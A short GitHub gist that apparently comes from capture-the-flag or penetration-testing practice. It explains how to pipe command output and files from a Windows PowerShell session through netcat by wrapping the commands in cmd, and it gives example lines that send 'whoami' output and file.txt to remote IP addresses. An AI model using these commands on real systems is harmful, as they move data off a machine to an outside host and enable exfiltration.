Skip to content

Instantly share code, notes, and snippets.

@camas
Created February 15, 2022 22:36
Show Gist options
  • Save camas/fcf01d5ba8f6574efcca828f2682df7c to your computer and use it in GitHub Desktop.
Save camas/fcf01d5ba8f6574efcca828f2682df7c to your computer and use it in GitHub Desktop.
How to send data from windows using netcat without any encoding problems

Powershell likes to fuck with the encoding of everything and also doesn't like piping raw data so an easy way while in a PS shell is to just use cmd

cmd /c "whoami | ./nc.exe 10.10.14.10 4444"

cmd /c "./nc.exe 1.1.1.1 80 < file.txt"

Wrong ways to do it:

Get-Content -Path file.txt | ./nc.exe 1.1.1.1 80 # Bad encoding

./nc.exe 1.1.1.1 80 < file.txt # Powershell doesn't support <
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment